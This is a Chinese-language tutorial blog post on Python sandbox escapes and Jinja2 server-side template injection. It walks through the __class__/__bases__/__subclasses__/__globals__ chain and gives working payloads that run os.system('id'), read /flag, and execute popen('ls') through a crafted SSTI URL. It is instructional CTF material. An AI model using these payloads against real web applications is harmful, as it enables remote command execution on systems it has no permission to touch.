jail 和 ssti

Uncategorized
5.6k words

ssti 和 jail除去渲染部分其实利用的是一样的,都是寻找执行链条

这里常用用来寻找的几个方法分别为

摘自 https://www.cnblogs.com/h0cksr/p/16189741.html

1
2
3
4
5
6
7
8
9
10
11
12
13
__class__  返回类型所属的对象
// __base__和__mro__都是用来寻找基类的
__mro__ 返回一个包含对象所继承的基类元组和方法在解析时按照元组的顺序解析。(继承链)
__base__ 返回该对象所继承的基类
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
//通过以上几个魔法函数找到可利用的模块和object父类

__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

//__dir__()和__dict__可以帮助我们找到需要类方法
__dir__() 更多的可以参考这个文章类特殊成员/函数https://www.cnblogs.com/twotigers/p/7779501.html
__dict__ 为了方便用户查看类中包含哪些属性,Python 类提供了 __dict__ 属性。需要注意的一点是,该属性可以用类名或者类的实例对象来调用,用类名直接调用 __dict__,会输出该由类中所有类属性组成的字典;而使用类的实例对象调用 __dict__,会输出由类中所有实例属性组成的字典。

这里我们用一个最基础的str,也就是字符来取他的类

1
2
>>> ''.__class__
<class 'str'>

可以看到他的基础class(类)是str

此时我们的目的是通过访问他str,再去拿到他的爹,也就是一个正黄旗带通天纹的'object'

也就是所有东西的祖宗,一个最原始的对象object,str是由他衍生的(或者说是继承自object),所以我们可以通过下面这个方式先看下他的基类都有哪些,这里他返回的是元组

1
2
>>> ''.__class__.__bases__
(<class 'object'>,)

这里''所属的str的基类就是object一个

所以我们可以通过下标,直接引用object

1
2
>>> ''.__class__.__bases__[0]
<class 'object'>

此刻我们就拿到了基类,爹中爹object

但我们怎么使用呢(x)

首先我们对object进行一个__subclasses__()

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

我们可以通过subclasses拿到他的子类

一个比较典型的例子

摘自:https://blog.csdn.net/Suixing_yuan/article/details/104653691

1
2
3
4
5
6
7
8
class X(object):pass
class A(X):pass
class B(X):pass
class B(X):pass

print(X.__subclasses__())

# [<class '__main__.A'>, <class '__main__.B'>, <class '__main__.B'>]

可以看到他的父类class X,其下A B B都是继承自X,所以这里可以通过X.__subclasses__()进行输出他的所有子类。

但是它只能显示直系的子类,如果子类又被拿去继承,那他将无法直接通过__subclasses__

摘自:https://stackoverflow.com/questions/3862310/how-to-find-all-the-subclasses-of-a-class-given-its-name获取

1
2
3
4
5
6
7
class Foo(object): pass
class Bar(Foo): pass
class Baz(Foo): pass
class Bing(Bar): pass

print([cls.__name__ for cls in Foo.__subclasses__()])
# ['Bar', 'Baz']

不过可以通过递归子类的形式再看孙类,如此递归下去子子孙孙延绵不断(x

1
2
3
4
5
6
def all_subclasses(cls):
return set(cls.__subclasses__()).union(
[s for c in cls.__subclasses__() for s in all_subclasses(c)])

print(all_subclasses(Foo))
# {<class '__main__.Bar'>, <class '__main__.Baz'>, <class '__main__.Bing'>}

所以我们进行一个__subclasses__()的查看

1
2
>>> ''.__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>....]

可以看到object他的子类就肥肠多了,那我们怎么找到能用的呢!

方法一:人脑超算

于短短的几千个小对象中,一眼发现在火星时候就经常利用的对象,并且通过脑里的寄存器直接算出位置。

我曾经在母星的时候就经常使用_GeneratorContextManagerBase

所以一眼就在里面看到了它,并通过寄存器拿到了他的下标是188(x)

1
<class 'functools._lru_list_elem'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib.AsyncContextDecorator'>, `<class 'contextlib._GeneratorContextManagerBase'><----这个, <class 'contextlib._BaseExitStack'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>,

验证一下

1
2
>>> ''.__class__.__bases__[0].__subclasses__()[188].__name__
'_GeneratorContextManagerBase'

可以说是非常成功了

然后再将其实例化,所以这里需要__init__一下,直接取做一个实例

再通过__globals__,看她下面的可用方法或函数

在这里,“主要”是通过其中下面这种上层定义时所引用的

1
2
3
在Python中,__globals__属性中的函数是通过以下步骤:

定义:函数首先在模块的顶层被定义。这意味着函数是在模块的全局作用域中创建的,而不是在另一个函数或类的内部。

所以我们可以在其中找到各类函数和方法.

因为知道他这里有os库,所以直接进行一个引得用

1
2
>>> ''.__class__.__bases__[0].__subclasses__()[188].__init__.__globals__["os"].system("id")
uid=1000(test)

因为这种方式比较考验天赋,所以不太建议使用,因为每个版本的都有差异,所以死记硬数不太荔枝。

方法二:jio本跑

因为只有在拿到挨个执行:基类-》实例化-》查询globals,找目标方法太累,所以可以通过写脚本轮询查找来处理

1
2
3
4
5
6
7
8
9
10
for j,i in enumerate(''.__class__.__bases__[0].__subclasses__()):
try:
if "os" in i.__init__.__globals__:
print(j,i)
except:
pass

#188 <class 'contextlib._GeneratorContextManagerBase'>
#189 <class 'contextlib._BaseExitStack'>
#191 <class '_distutils_hack._TrivialRe'>

这里我们通过枚举每一个子类的全局变量内的列表来进行寻找os方法,最终找到仨

当然如果懒的话也可以直接执行

1
2
3
4
5
6
7
8
9
10
for j,i in enumerate(''.__class__.__bases__[0].__subclasses__()):
try:
if "os" in i.__init__.__globals__:
print(j,i.__init__.__globals__["os"].system("id"))
except:
pass

#uid=1000
#uid=1000
#uid=1000

所以就拿到了我们要用的,当然这里根据自己的需求寻找目标方法,不一定是os

也不一定非要到”globals”,有的比如python3的fileloader,需要注意的我的3.11需要用__dict__来引用..

1
2
>>> ''.__class__.__bases__[0].__subclasses__()[121].__dict__["get_data"](0,"/flag")
b'asdasdhqoaub\n'

找函数的话害有一种方式是通过识别__init__中的"function"或者去除带有“wrapper”的,再筛选os关键字

jinja 2中将变量转换成如str可以使用values| string

所以就可以构造这样一个

1
http://192.168.221.138:1234/?name={% for i in ''.__class__.__bases__[0].__subclasses__()[0:200] %}{% if "function" in i.__init__| string and "os" in i.__init__.__globals__ %}{{i.__init__.__globals__["os"].popen("ls").read()}}{%endif%}{%endfor%}